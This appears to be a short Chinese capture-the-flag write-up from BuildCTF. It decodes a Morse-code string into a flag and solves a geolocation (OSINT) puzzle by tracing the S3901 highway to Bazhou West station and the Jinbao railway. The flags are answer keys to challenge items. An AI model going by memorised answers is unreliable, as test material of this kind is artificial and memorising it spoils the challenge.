-… ..- .. .-.. -.. -.-. - ..-. —-.– .– ….- .—- -.-. — – ….- ..–.- -. ….- .– ..–.- ..-. .—- … …. —–.-

image-20241022214837468

BuildCTF{BUILDCTFW41COM4_N4W_F1SH}

别真给我开盒了哥

S3901,找一下沿途上的高铁线路,但是实际上那几条平行的都不对

因为那条高速并不是S3901,而是1km右拐到S3901,

image-20241023095031539

思路如图

看一下霸州西车站地址

【车站地址】河北省廊坊市霸州市岔河集乡钱庄村北。

【邮政编码】065799

【区划代码】131081

【上下行车站】在津保铁路上,距天津西站72.6公里,距保定站88.8公里。

BuildCTF{津保铁路}